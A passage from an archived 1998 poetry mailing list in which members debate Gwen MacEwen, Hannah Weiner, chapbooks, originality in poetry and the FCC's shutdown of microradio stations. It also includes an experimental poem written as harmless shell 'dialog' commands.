every feeling, is precious to us all! Knowledge
be damnd! Quantity over quality! "Express 'em all,
let God sort 'em out!"

on 17 Mar 1998 11:02:20, <[redacted]> wrote:
>It all seems very silly to me.

↑ Index

712. A. Nikuko Sondheim
l caught as usual
Thu 18 Jun 1998

-

l

because she would narry be so sweet...she would tarry beside me, in the rumours of a road-like dwelling simply beneath green entwined oh those are such beautiful words, you know there are flowers that make me drown deliriously in their scents words whose fragrance inspire me towards those suffusions with which no longer choosing or making choices thus i you would nonetheless softly plucking roses orchids other forms of being you have taken me in your soft hands ...

beauty thrusting forward slime mold curled decay and soft central
yes warm baths losing eyes lips
surround me you knowing unfolding knowledge
and pleasure-murmur

she has darkened me so many foolish ways lost, lost in extremities
tips touching slurry, muds pooling darkly
their pink turned green-and-brown
with
water's envy

==========
==========

dialog --yesno tulip 5 30;
dialog --yesno if-tulip-yes-then-pansy 5 45;
dialog --inputbox if-tulip-no-why 8 45 2>> yy ;
dialog --yesno if-tulip-no-then-pansy 5 45;
dialog --inputbox if-tulip-yes-why-not 8 45 2>> yy ;

```
dialog --yesno if-tulip-yes-and-pansy-yes-then-nightshade 6 60;
dialog --inputbox would-you-like-to-drown-with-me 8 45 2>> yy ;
dialog --yesno if-tulip-no-and-pansy-yes-then-nightshade 6 60;
dialog --textbox .d 8 45
dialog --yesno if-tulip-yes-and-pansy-no-then-nightshade 6 60;
dialog --inputbox tulips-are-your-colour,-why? 8 45 2>> yy ;
dialog --yesno if-tulip-no-and-pansy-no-then-nightshade 6 60;
dialog --infobox "then-pansy-and-tulip-and-nightshade" 6 60;
dialog --textbox yy 10 45;
dialog --infobox "then-lips" 8 20;
dialog --inputbox then-smoothing-green 8 45;
cat yy
sleep 2
dialog --infobox "fin" 4 20
```

↑ Index

713. **Christopher W. Alexander**

Re: FCC Shutdown of Radio Microbroadcaster [need for mor

Thu 18 Jun 1998

> *The same criteria ought to apply as are applicable to what are presumed to be responsible larger broadcasters. That is, they ought to be licensed, and ought to have to keep logs of their broadcasts.*

well, Bob - number one, I disagree; but #2, the whole issue here is the licensing path the FCC has chosen for these microstations, viz., charging application and engineering fees that are equal to the fees they ask of wealthy broadcasting corporations - in effect making it $$ prohibitive for independents and communities to take advantage of the technologies you're talking about, except by operating illegally. it's a catch-22 the FCC has instituted, and in the name of protecting the citizenry from - wha, spies and aliens?

booga booga. no, as far as I'm concerned this is just another visible (audible) foreclosure of localized public discourse in favor of media conglomerates and the consumerist imperative...

btw - for somebody who, as I recall, is vehemently anti-gun control, you're sure hungry to get the feds up everybody else's ass, aren't you?

chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted] / [redacted] snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402 press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/ **site temporarily unavailable**

↑ Index

714. **sylvester pollet**

Re: FCC Shutdown of Radio Microbroadcaster [need for more media regulation to preserve freedom of speech and the press]

Thu 18 Jun 1998

In defense of morpheal, I can't remember a better definition of "Poet" since Plato:

> *Non licensed, non accountable, non logged, stations do need to be tracked down technologically and eliminated.*

↑ Index

715. **William Burmeister Prod**

Re: Judge Backs FCC Shutdown of Radio Microbroadca

Thu 18 Jun 1998

On Jun 18, 10:37am, Christopher W. Alexander wrote:
> Subject: Re: Judge Backs FCC Shutdown of Radio Microbroadca

> *OAKLAND, CA -- A federal judge allowed the government on Tuesday to shut down "Free Radio Berkeley", run by an unlicensed low-power broadcaster who has fought a five-year guerilla war against the way federal authorities regulate the airwaves.*
>
> *U.S. Destrict Judge Claudia Wilken declined to rule on most of Stephen Dunifer's free-speech challenges to Federal Communications Commission restrictions because Dunifer never applied for an FCC license. She rejected Dunifer's argument that federal law fails to set standards for the FCC's decisions on licensing so-called microbroadcasters.*
>
> > *[delurk in progress - nnnnnnnnnnnnn]*
> >
> > *now more than ever I want to remind people to contact the FCC and demand that this policy be rescinded;*

I will send in mine. Hope this (right) recourse works, but if not may a thousand pirate stations bloom! I have a newspaper article I should reprint here about the FCC chasing and closing down microstations in the Tampa Bay area, the limits of their reach and what not.

William

↑ Index

716. Christopher W. Alexander
watch me juggle
Thu 18 Jun 1998

three responses

Douglas Barbour - (with a public apology for misspelling yr name last time; sorry) Love to hear more about Gwen MacEwen! titles, pubs., please spill all...

William B. Prod - if you don't send those Tampa/FCC articles in, can you backchannel me the citation; unfortunately our library just dropped Lexis-Nexus for the new (crappy) Academic Universe - I cldn't find my own ass with this thing...

David Bromige - don't tell me you don't know about Desire; yre the only person ever winked at me electronically...

chris

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted] / [redacted] snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402 press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/ **site temporarily unavailable**

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717. mj devaney
Re: Driving me crazy
Thu 18 Jun 1998

Karen Kelley wrote:
>
> I need help! In one of R. Gancie's posts, the coolest word:
> ratiomorphous. Please, someone, give me a definition.

having the shape of ratiocination?

helpfully,
MJ Devaney

↑ Index

718. **maz881**
clew
Thu 18 Jun 1998

Joe S asks: <<(By the way, saw in my latest SPD catalog that there's a new volume of tribute out to him [welch] from a new press in Bolinas, Clew - does anyone know of this publication or this press?)>>

I think that was put together by Magda Cregg. There was a reading of that book and a celebration last fall. I remember this because Albert Saijo said he had a reading "across the street" the same evening. City Lights may have been one of the locations and it might have been Nov 11. An odd coincidence I remember thinking, because Saijo and Welch were friends.

Bill Luoma

↑ Index

719. **Maria Damon**
Re: Gwen MacEwen
Thu 18 Jun 1998

---

thanks to all who've responded. there sure are a lot of chick writers out there to learn about.

At 3:18 PM -0600 6/18/98, Douglas Barbour wrote:
>Maria
>
>Morpheal has given you the 'romantic' story about Gwen MacEwen, but she is
>more important for the poetry than the story. She was part of the terrific
>uprising of young poets in the 60s, but went her own way, via magic &
>Egypt, to a poetic of openness that was far closer to Duncan than to
>Creeley, say. At her best, she wrote a joyful large poetry; at her worst,
>she descended into a rhetoric far too fat with yearning for the
>'unspeakable.' Her first novel, _Julian the Magician_ was actually
>published by Corinth (1963).
>
>One of the best biographies of a conemporary Canadian poet is _The Shadown
>Maker_ on her. Her Selected Poems would be a delight, on the whole.
>
>==========
==========
>Douglas Barbour
>Department of English
>University of Alberta

>Edmonton Alberta T6G 2E5
>[redacted] FAX:[redacted]
>H: [redacted]
>~~~

>turn into caricature when taken to extremes: mine, to a sort of anti-
>intellectual art-for-art's sake (an oxy-moronic phrase in itself); yours,
>to the tyranny of "talk about" - the kind of interpretation that substitutes
>for the artwork; a translation rather than a review that keeps its
>distance.
>
>All this has been hashed around before on the list. My feeling is though that
>everybody shd be a little like Wallace Stevens: they should have a personal
>theory of poetry as a phenomenon, in itself, sui generis. A poem can be shown
>to mean an endless number of things; it's got a shape & a form & a genesis
>however - & the genesis may well include the history you describe - but I
>would guess that Hannah Wiener also falls into the general "poet" category
>I've been trying to promote - a representative of the "poetic impulse".
>Okay I shut up again. Bye bye rest ye all end of blab sigh... - Henry G.

↑ Index

721. **morpheal**

Re: Gwen MacEwen

Thu 18 Jun 1998

> *Morpheal has given you the 'romantic' story about Gwen MacEwen, but she is more important for the poetry than the story. She was part of the terrific uprising of young poets in the 60s, but went her own way, via magic & Egypt, to a poetic of openness that was far closer to Duncan than to Creeley, say. At her best, she wrote a joyful large poetry; at her worst, she descended into a rhetoric far too fat with yearning for the 'unspeakable.' Her first novel, _Julian the Magician_ was actually published by Corinth (1963).*

That is not very original to MacEwen. Actually it was very prevalent.

The interests in the esoteric and occult were as strong as the other kinds of quests for authenticity, freedom of expression, and radical lifestyles as well as politics. Her quest for magick and ancient roots was a quite common quest in that era. At least a renaissance of that theme. She was, in that regard, one among many.

Some turned to the far east, some to shamanism and indigenous traditions, and some towards more traditional western magick, as part of the growth of eclectic comparative religions. Most departments of comparative religions, and of eastern philosophies either grew substantially or got their start in the 1960s. It was fashionable, trendy, and acceptable to delve and delve deeply into such things. Bookstores in Toronto were full of esoterica, occult, and eastern titles. Poetry was rife with those themes. Everyone was reading the ancients and the mystics.

MacEwen was a follower of those same fashions. She was not original. Her poetry was often talented and original, but her philosoph and style of life and thought were far from original.

So I wonder what you are really saying.

M.

↑ Index

722. **morpheal**

Re: FCC Shutdown of Radio Microbroadcaster [need for more media regulation to preserve freedom of speech and the press]

Thu 18 Jun 1998

> *In defense of morpheal, I can't remember a better definition of "Poet" since Plato:*
>
> *Non licensed, non accountable, non logged, stations do need to be tracked down technologically and eliminated.*

Remember "Plato" in America was an A.I. machine that assassinated, in effect, its own programmer. (The programmer committed suicide.)

I can see irresponsible micro stations run by people with ideological aggendas and axes to grind, driving people to suicide. Would the micro stations then be the murderers ?

In the USSR and similar totalistic regimes innuendo on radio and television, subliminal or otherwise, is suspected of being a major cause of suicide. Their suicide rates were extremely high. Unofficially even higher. Not to mention the many deaths from suspicious causes, mostly occuring during the victims employment. Murder by radio decree that became disguised as industrial accidents ? We suspect so.

Could it happen here ? With unlicensed micro stations in anyone's hands, definitely it could, and in too many ways to count.

The psychology is too complicated to discuss. It would take an advanced degree in psychological warfare to understand it. And you cannot get one of those. So we will pass on that subject.

M.

↑ Index

723. **Simon DeDeo**
Re: Gwen MacEwen
Thu 18 Jun 1998

> *MacEwen was a follower of those same fashions. She was not original. Her poetry was often talented and original, but her philosoph and style of life and thought were far from original.*
>
> *So I wonder what you are really saying.*
>
> *M.*

I happen to be reading Vendler's _Breaking of Style_ (which has a nice run through of Jorie Graham's poetry in it); the following quote might be helpful:

"poets (along with other artists) are not primarily original thinkers; they ... generally think with (and against) the available intellectual categories of their epoch. Philosophers, rather than poets, invent the thought of their epoch." (8)

I think that makes succinctly the point I've been making in both e-mails I've sent out today. Poets are not philosophers nor (as was suggested the earlier post on "E=mc2") are they mathematicians. Nor, I suppose, are they lifestyle models a` la Vogue as you seem to suggest, Morpheal, replete with styles of dress and home furnishings.

I seem to be working primairly in negative space today, which is unfortunate. Over the weekend, if anybody is interested, I can try to dig out some old work of mine (some of which is avalible on my page listed below.)

-- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html

[redacted]

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724. **Karen Kelley**
Re: Weiner's _Code Poems_
Thu 18 Jun 1998

But Maria, the SUREST way to be reductive is to make an "airtight" argument. The subject sounds fascinating & evocative--and I for one am no fan of the pristine argument.

Maria Damon wrote:

> *maybe eventually. i feel kinda shy about it because i'm concerned that it'll be considered reductive, and i'm not quite confident about my ability*

> *to make an airtight argument. but basically i want to look at Hannah's poetry as trauma-related, thru a kind of "witness-victim" or "participant-observer" status as a young Jewish-American woman coming of age during the Jewish genocide of WWII and the subsequent revelations in the US press (1960s) about the real conditions of the camps. i see her clairvoyance as a kind of dissociative state, the type that also characterizes trauma survivors...etc., and of course the disembodied palimpsest-like ticker-tape feel of the "poetry itself" whatever that means...*
>
> *At 7:28 PM -0700 6/17/98, Karen Kelley wrote:*
> *Any chance of your posting some of this Maria?*
>
> *Charles Bernstein wrote:*
>
> *Maria Damon's recent MLA presentation*
> *(Maria will be giving a talk entitled "Hannah Weiner: Clairvoyance and Trauma" for the UB Poetics Program on Thurs., Oct. 15).*

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725. **Mark Weiss**
Re: Gwen MacEwen
Thu 18 Jun 1998

> *"poets (along with other artists) are not primarily original thinkers; they ... generally think with (and against) the available intellectual categories of their epoch. Philosophers, rather than poets, invent the thought of their epoch." (8)*

This, of course, is not true. The dominant ideas of an epoch are often invisible to succeeding epochs. What we take to have been the dominant ideas are often scarcely noticed or overwhelmingly contested in their own time. The dominant ideas are a product of the society's expression as a whole. That includes economic and historical forces, scientific thought, aesthetic structures, the usually unsystematic but often highly original and influential thoughts of poets, changes in the technologies of agriculture and animal husbandry, changes in sexual mores, and a whole lot more. Philosophers, among others, systematize the thought of their time, which is often their chief, and very great, originality.

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726. **morpheal**
Re: Gwen MacEwen
Thu 18 Jun 1998

> *The dominant ideas are a product of the society's expression as a whole.*

There is no such thing as a society.
That is an artificial, idealist, construct created by sociologists.

In the sense that societies do not think, perceive, emote, or effect.

What a society is is simply the whole of all the communicative interactions of all the individuals who happen to be considered as a group. The whole planet could be a society. North America could be a society. Yourtown could be a society. We usually consider a society to be the communicative interactions of individuals with each other, but we might also consider the actions that in any effect anyone else who is of that same group as being somewhat communicative. We find similar patterns of similar communicative interactions among identifiable groups that share similar learning, similar experiences. That is what tends to result in that kind of grouping. However, categorical discussion does not in fact create an entity.

The main point is that a society is not an entity. It is not an entity in the very same way as an economy is decisively not an entity. A society is not a monster that does something to someone, or that someone can do something to. No one can do anything to a society anymore than a society can do anything to anyone. It is always the responses of individual human beings that effects and is effected. People invariably have various effects on other people, but it is NEVER a Society or and Economy that is the effector. It is always someone or a group of someones. It might be quite a few acting similarly, even following each other very blindly and thoughtlessly, but it is always someone.

It is you. It is I. It is him over there. It is her over there. It is that crowd of people. It is this crowd of people It is human beings as individuals. Society as such does not express. Individuals express. Individuals are sometimes variously affected by other individuals. Simply because this tends to chain, or domino, in various situations, does not make that chain reaction or domino effect down the human line, the monolithic response of a society. It is still individual reactions. We cannot reduce that away from individual intentionalities. A society does not have any intentions. People have intentions.

When individuals agree to certain rules, by acquiring knowledge of them and intentionally consenting to follow them, that too is part of the communicative interaction of individuals with each other. Society does not teach and society does not learn. Only individuals teach and learn. Neither does society follow trends or creat trends. Individuals do that too.

We are all in that together. You might follow me. I might follow you. All of it is simply what we do.

M.

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727. **morpheal**
Re: FCC Shutdown of Radio Microbroadcaster [need for mor
Thu 18 Jun 1998

> *well, Bob - number one, I disagree; but #2, the whole issue here is the licensing path the FCC has chosen for these microstations, viz., charging application and engineering fees that are equal to the fees they ask of wealthy broadcasting corporations - in effect making it $$ prohibitive for independents and communities to take advantage of the technologies you're talking about, except by operating illegally. it's a catch-22 the FCC has instituted, and in the name of protecting the citizenry from - wha, spies and aliens?*

The costs are as high for micro stations as they are for the larger one's in terms of what the FCC has to do so as to be fair to everyone involved. I was simply saying that responsibility in broadcasting is not automatic. Station management is responsible because they are forced to be responsible and they hate it because it costs them potential profits to do it. There are controls on what they can do and what they cannot do. Why should micro stations have more freedom than the larger stations ? Why should small be allowed to do what the larger stations cannot do ? Why should someone else pay for the costs of monitoring, licensing, micro stations other than the people who want to run them ?

It is easier to get a shortwave license and operate a shortwave station. It has a smaller audience, but even there there is licensing and there are rules to follow. Why should micro stations not have licensing and shortwave has to be licensed ? I cannot see your logic. The people who run shortwave stations are generally private individuals and the shortwave transmitters are harder to use for the kinds of questionable purposes that micro station equipment can be used for.

If unlicensed micro stations are allowed I can see a lot of implications:

1). personal vendettas using micro stations
2). slander using micro stations
3). infiltration of other frequencies by illigitimate users to gain influence over larger audiences
4). businesses being ruined by micro stations (it is amazing how much damage the irresponsible comments of one radio station can do to a small to medium sized legitimate business).
5). potential blackmail and fraud schemes being run using micro stations
6). every would be messiah, political fruitloop, white sheet over head, racist, fascist, cultist, millenialist, wacco, nut will want one, and many will get one to use in their private little wars
7). the other side will want them also, until the waves are jammed with head to head combatants.

Is that what you want to happen ?

Maybe someone will dislike the cut of your jib, or decide he wants your girl-friend, or your job, and run YOU out of town using his micro station.

Will you have any idea what _hit_ you ? You will only know that your world suddenly collapsed, and people being how they are, all changed their minds, including your best "friends" about being friendly. Even your own family changed their thinking. It is surprising how people follow the subliminal and the not so subliminal waves. No one will come to your parties anymore. They will spit on you on the street. Why ? Because Mr. Radio told them to. That's all there is to it.

I know of experiments that proved it. They also proved how the Soviets did it to their own people. The mechanisms of the innuendo.

A free for all would be even worse than that. I cannot tell you the other applications that the technologies can be used for. I can only tell you that the Soviet KGB and Hitler's Third Reich knew what to do with it.

M.

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728. Karen Kelley
Driving me crazy
Fri 19 Jun 1998

I need help! In one of R. Gancie's posts, the coolest word: ratiomorphous. Please, someone, give me a definition.

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729. Simon DeDeo
Re: Gwen MacEwen
Fri 19 Jun 1998

> "*poets (along with other artists) are not*
> *primarily original thinkers; they ... generally think with (and*
> *against) the available intellectual categories of their epoch.*
> *Philosophers, rather than poets, invent the thought of their epoch.*" *(8)*
>
> *This, of course, is not true.*

The original reason I posted this quote was because Morpheal criticized Gwen MacEwen for "unoriginality of philosophy", as if this discounted the poetry. Simply because an artist does something that appears to arise from the dominant thoughts of the time (or against -- note that Vendler's point is essentially

Hegelian) is not a criticism of the poetry. Pound, like many of his contemporaries, fell for a poorly thought out and essentially bogus theory of Chinese poetry promulgated by Fenollosa; unlike his contemporaries, he wrote the Personnae. He was, to be even more "unoriginal", often a raving Fascist; he wrote the Cantos. His poetic work, however "original" in a poetic sense, is hardly groundbreaking philosophy in the way of a Plato or Kant. Do you agree with this?

> *The dominant ideas of an epoch are often invisible to succeeding epochs. What we take to have been the dominant ideas are often scarcely noticed or overwhelmingly contested in their own time.*

Certaintly true. What's often very revealing (and what was my first introduction to this effect) is reading the critical analyses of earlier epochs in the intervening space -- the 19 century take on the 18th century world, for example. Not the original thinkers of the time -- Nietzsche is not the best source for the 19th century opinion of the Greeks -- but the slow, plodding scholars of the universities, making their careful and finally incoherent way through the past.

> *The dominant ideas are a product of the society's expression as a whole.*

As for the details of "where ideas come from", I've found Foucalt's (deconstructive) notion of discourse in Hist of Sex and Archeology to be the most appealing to me for some time. I've read and written some New Historicist criticism which I've found to be very enlightening, and a refreshing change from the "professional courtesy" that scholars sometimes extend across the centuries. For those unfamiliar with/interested in New Historicism, check out the work Stephen Greenblatt does with Shakespeare -- a radical contextualization that brings in:

> *... economic and historical forces, scientific thought, aesthetic structures, the usually unsystematic but often highly original and influential thoughts of poets, changes in the technologies of agriculture and animal husbandry, changes in sexual mores, and a whole lot more.*

I guess the reason I brought in the quote from Vendler's book is that I wanted to counter the centrifugal bullshit effect that usually takes place when different areas of knowledge are collided. (No offense meant to anyone on the list; I admire Vendler's style of criticism a great deal, but, as with any critic or philosopher, something is lost in translation.) The elision of poetry and mathematics, poetry and "knowledge of the natural world" can be wonderful things, but they are secondary effects. You don't sing Schrodinger's equation, and if you subtract one from both sides, you aren't multilating it. These mergings ignore the fact that poetry deals with *language*, and language was (amazingly enough) used before literary criticism existed. It has a history, a chronological structure where (as Faulkner might say) WAS is IS.

- Simon

http://www.fas.harvard.edu/~sdedeo/localpapers.html
[redacted]

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730. **L. MacMahon and T.R. Healy**
Re: chapbook
Fri 19 Jun 1998

> *Peter Minter wrote:*
>
> *This might seem a stoopid question,*

> Laura W. wrote:
>a chapbook was
> originally any small, cheap book (chiefly pamphlets of popular tales, ballads,
> tracts) sold by a chapman -- an itinerant peddler or a boothkeeper at
> marketplace. OED sez origins of chap are barter, business. Seems to precede
> the US.

The stoopid questions are among the best. Delighted that Peter started this one rolling. The connection with barter is one I'd like to keep having received brilliant poems in ms or chapbook or indeed perfect bound format as exchanges.

Also Bill Marsh's point of the chapbook length poem is spot on. As Charles Alexander said, the format can accommodate from 4 pp upwards and so completely sidesteps plastic injection moulding approach to composition. (Incidentally, I've devised a method of sewing up to 100 pages in one signature - although 64 is probably a more reasonable upper limit. Am working on a leaflet explaining how it's done. Backchannel if anyone'd like a copy.)

Re: poetry and money, I havent' had time to read all the posts and perhaps someone has mentioned: I'm living so far beyound my income that we may almost be said to be living apart.---E.E. Cummings

Finally: here's a list of current titles from Wild Honey Press. Priced at $5 (currency) each or the equivalent value in writing (any form & you decide on the conversion rate.)

1/2/3 Prelude/Interlude/Postlude all by Maurice Scully 4/5 Citation Suite/ Another Ireland(essay) by Robert Archambeau 6 Syzygy by Trevor Joyce 7 Tiny Pieces by Billy Mills 8/9/10 Rana Rana/Arbor Vitae/Flame by Randolph Healy

Note: I know it all looks a bit blokey, but I've only been going a year and will be publishing a number of chapbooks by writers of the female persuasion very soon.

Note: Isn't Laura Moriarty's non absolutely breathtaking.

best wishes Randolph Healy

from [redacted]

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731. George Bowering
Re: an institutionalized avant garde
Fri 19 Jun 1998

One of the most wonderful things about Gwen MacEwen was what she could do at a reading. She didnt even carry a copy of her book, but recited her long lines from memory. I think she wrote the titles of the poems she would read on her hand.

The last time i saw her I was sitting in a cafe on Bloor Street in Toronto, and Gwen came by on her big black clunky English one-speed bicycle.

She and bp Nichol died the same year, and tore the heart right out of us. Toronto poetry just disappeared for five years, just disappeared.

"I'm going around shooting the same camel in the head
Over and over."
G. McE.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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732. George Bowering
Re: MacEwen [some thoughts about artistic "popularity"]
Fri 19 Jun 1998

I dont remember well enough, nor did I know how to understand these things, so I dont recall how popular Gwen MacEwen was. But she won the Governor-General's award for poetry twice.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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733. George Bowering
Re: _Book of Mercy_ /more recent work
Fri 19 Jun 1998

Ah yes, _Stranger Music_ But isnt that a kind of selected? And isnt it mainly song lyrics? Is there new stuff in it? One thing I know. You'll have noticed that Cohen usually made each poetry book be a BOOK, not a collection.

> *Also: George, where did you say that review was located when you first saw it??? I am really interested in reading it.*

I am trying to remember, and I think it was in _Books in Canada_, so one wd just have to check an issue around the date of publication.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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734. George Bowering
Re: Gwen MacEwen
Fri 19 Jun 1998

> *Her first novel, _Julian the Magician_ was actually published by Corinth (1963).*
>
> *That is not very original to MacEwen. Actually it was very prevalent.*
>
> *Morpheal.*

????

George Bowering.

,

2499 West 37th Ave.,

Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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735. **henry**
Re: Weiner's _Code Poems_
Fri 19 Jun 1998

Maria, I just want to repeat that I think your essay on HW sounds excellent & it's the kind of thing a kind of guy like me (library worker weaned on phd dissertations) loves to read. The thread concerned I think among other things "poetry in itself" - I mean the thread you didn't read - it wasn't me & Jordan, it was another one. So from now on be sure to read all my posts & you'll find out what I don't like about it when people say "the 'poetry itself', whatever that is..." - Henry G

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736. **John Tranter**
chapbook = Kaufman ?
Fri 19 Jun 1998

Wow, synchronicity! In the same day's posting,
discussion of the word "chapbook" and the poet Bob "Kaufman" . . .

From my Random House Electronic Dictionary:

chap·book n.
1. a small book or pamphlet of popular tales, ballads, etc., formerly hawked about by chapmen.
2. a small book or pamphlet, often of poetry.
[1790–1800; chap (as in CHAPMAN) + BOOK]

chap·man n., pl. -men.
1. Brit. a peddler.
2. Archaic. a merchant.
[bef. 900; ME; OE cheapman (cheap buying and selling + man MAN1); c. D koopman, G Kaufmann; see CHEAP]

It must be the radio waves from two microstations crossing and causing interference pattern ripples in the aether . . .

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737. daniel bouchard
Re: FCC Shutdown of Radio Microbroadcaster [need for mor
Fri 19 Jun 1998

Joel,

The 5 post perday limit still in effect?

Something broken in Buffalo?

I count 10 messages from Poster below today.

TECHNICALLY, five too many.

????

- db

At 11:37 PM 6/18/98 -0400, morpheal wrote:
>The costs are as high for micro stations as they are for the larger one's in
>terms cense
<<<<<<>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
  fax: [redacted]
>>>>>>>><<<<<<<<<<<<<<<<<

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738. Maria Damon
*Re: Weiner's _Code Poems_*
Fri 19 Jun 1998

---

ok ok, no harm done or intended all around

At 8:07 AM -0400 6/19/98, henry wrote:
>Maria, I just want to repeat that I think your essay on HW sounds
>excellent & it's the kind of thing a kind of guy like me (library worker
>weaned on phd dissertations) loves to read. The thread concerned I think
>among other things "poetry in itself" - I mean the thread you didn't read -
>it wasn't me & Jordan, it was another one. So from now on be sure to read
>all my posts & you'll find out what I don't like about it when people say
>"the 'poetry itself', whatever that is..." - Henry G

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739. **Mark Prejsnar**
Re: Art, Poetry, context
Fri 19 Jun 1998

> *from where I sit, in a city in the American southwest of some size with an arts community which is probably unduly large and active for its size; and because of my own circumstances, familial and otherwise, the wider arts (visual, dance, music, etc.) is more "my" community than is the specifically "poetry" community here -- this "lots and lots of *possibility* that any [ANY] given artist may become the next big thing . . ." is about as much possibility as that any [ANY] given poet will win the next Nobel Prize for literature. And if we want to talk about the art market in this way, we might also want to talk about the literary market, which, when you get away from poetry specifically and into fiction and nonfiction, includes "lots and lots" of possibility for money, too -- but a similar tiny few who see such money.*

I don't believe Charles is right here, if he intends this as a correction of my post....(what's "artforum"??? no no just kidding!! but in fact i've hardly ever glanced at it...)

In your particular city, it may look one way, but the shape of the plastic arts (i love that term) as a national/international market is something else. Of course almost no viz artist is gonna become the next big thing!! But the way the art market shapes particular life-choices, and the work itself, and how it impacts our overall conception of "what art (and artists) are"--these things do follow a dynamic predicated on the idea of actual remuneration for creative work. Not so with poetry. Different set of structural expectations..

However Charles, i agree strongly that the situation with much writing (the kind of mainstream conservative novelist who hopes to be published by Doubleday or Ferrar or Knopf or something, and get reviewed in NYR of B and the NY Times) is quite comparable to that of painters etc. There is an actual market, and the possibility of serious earnings for one's work; but not that many will ever get a glance in a middlebrow flagship pub like NYR, let alone win a Nobel. Just as most viz artists aren't gonna be able to live off the sale of their works, any time soon.

What interests me is the disparity between how our culture defines an art-activity in one medium, and how in another..... as a life-choices, as a social roles.

****WHAT I"M REALLY GETTING AT, eventually, is--that i think these things impact on our specific strategies as poets. The radical seriousness within political passion of Susan Howe; the radical playfulness of Bernstein within a problematic of how form self-secretes in a disturbed historical moment; the open field of jazz-painting with words-as-things, in Coolidge. None of that, none of

the poetry that matters, would exist if there were worries about conforming to a market esthetic. Likewise the ludic ploys jumping around on the edge of what-is-poetryland that are the work of Grenier (publication in small editions on sets of cards, publication in holograph, etc.) Likewise various publication innovations like, oh i dunno, Gestalten, a mag with a lot of vizpo and striaght textual stuff as well, that comes in an envelope, on various sheets and bundles of pages of various sizes, in various configurations, etc. A truely immoderate extension of the idea of a poetry magazine. Various things that people are starting to do on the web, etc.

Neither Malley nor Yasusada would ever have set spectral pen to paper, were it not for the specific set of (non-commercial) expectations that existed in their cultures about poetry as an autonomous art-activity. It is precisely because these wierd and important phantom poets mock the nobility that is The Poet's Heroic Isolation and Greatness, that they have threatened and angered so many...

in the phantom mists,
mark

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740. **morpheal**
Re: Gwen MacEwen, Pound, etc.
Fri 19 Jun 1998

>The original reason I posted this quote was because Morpheal criticized Gwen MacEwen for "unoriginality of philosophy", as if this discounted the poetry.

To the contrary. I was discussing what makes poets popular within their lifetimes. I was not discounting her poetry. If anything I complimented her writing, but discounted the other aspects. If those extraneous elements had been absent, I contend, that we would not even know of her today. That is the crux of the matter. (In fact I long ago found some first strong attractions to poetry in MacEwen's writings, as I did in Ginsberg's, and a few others. MacEwen's were wonderful poems and still have that attraction.)

>Simply because an artist does something that appears to arise from the dominant >thoughts of the time (or against -- note that Vendler's point is essentially >Hegelian) is not a criticism of the poetry. Pound, like many of his >contemporaries, fell for a poorly thought out and essentially bogus theory of >Chinese poetry promulgated by Fenollosa; unlike his contemporaries, he wrote >the Personnae. He was, to be even more "unoriginal", often a raving Fascist; he >wrote the Cantos. His poetic work,

however "original" in a poetic sense, is >hardly groundbreaking philosophy in the way of a Plato or Kant. Do you agree >with this?

If anything poets tend to be eclectic borrowers, philosophically. It is quite traditional, and not always a bad thing to be, as long as oneself remains critical as to what oneself accepts and rejects as one's own within that eclecticism. We can learn many things, but we do not have to accept all that we learn as one's own, even if it is true for some others. This has the most to do with customs and beliefs, or worldviews (political, economic, religious).

I do not want to comment too deeply on Ezra Pound's politics. I do not believe that the definitive study of that subject has been written. I do not believe that anyone with a purely English Literature interest and experience, no matter how deep and advanced, will be able to write that study. There are far too many political innuendos coded within linguistic layers of the text.

We might, for simplicity say that Pound, alike to William Burroughs, wrote reports. Referring to Burroughs saying that the only difference between intelligence agents and writers is that "writers write reports".

Pound put his head into Spanish, in effect European, fascism, and correlated the experience quite profoundly against American political history. His words appear full of dire warnings. We have to remember the time period. We have to consider locality. We have to understand what happens when an American poet puts his head into a foreign place. I would be very cautious about becoming critical of Pound's intentions, unless being sure what those intentions really were.

(Here I am, expressing beliefs again. I must say, quite aside, that I attempt to distinguish pure fact from where there are elements of belief and all the facts are not stated. We normatively function on the basis of grounded beliefs. That is, beliefs that have some facts supporting them. We tend to forget that there is an element of belief, and I like to emphasize that distinction whenever possible. To the annoyance of few who believe that they speak only from facts. I also use "believe" or "opinion" to indicate where some of the facts remain in the realm of the unsayable, for whatever reasons. However, I will rarely say that there are such facts, but leave the reader guessing as to which usage of "belief" I happen to be referring to. In other words we sometimes use "belief" to avoid telling the whole story, and spelling out all the incantations that go with the particular magickal effect that is in question. Nevertheless, the magick remains a science and far from the realm of irrational belief.)

>Nietzsche is not the best source for the 19th century opinion of the Greeks -- >but the slow, plodding scholars of the universities, making their careful and >finally incoherent way through the past.

The Greeks provided an accessible, apparently better, way of dealing with 19th century technological advances and their utilization. A better way than, for example, Christianity provided. The Greek architects and engineers, began to have an influence upon the new materials. It is as though the rise of technology cracked the prevalent worldview and not only allowed other worldviews in, but in fact invited them into the somewhat void bewilderment that followed innovation.

>Stephen Greenblatt does with Shakespeare -- a radical contextualization that >brings in:
>> ... economic and historical forces, scientific thought, aesthetic
>> structures, the usually unsystematic but often highly original and
>> influential thoughts of poets, changes in the technologies of agriculture
>> and animal husbandry, changes in sexual mores, and a whole lot more.

I have yet to know of a convincing story as to how Shakespeare was able to build a theatre and have performed those plays that he had performed, under the totalism of the then monarchy. We seem to lack the true links that connect Shakespeare to the crown. That is a most interesting political question. Any other man would likely have been beheaded for any similar audacity in that era. What gave old Bill his privilege ? As far as I know, and I am no scholar on the subject so I might be in ignorance, no one has ever satisfactorily answered the question of how did Bill get away with it, and essentailly why. (I have some theories, but they are only theories based on parallels within tradition.)

> poetry deals with *language*, and language was (amazingly enough) used before >literary criticism existed. It has a history, a chronological structure where >(as Faulkner might say) WAS is IS.

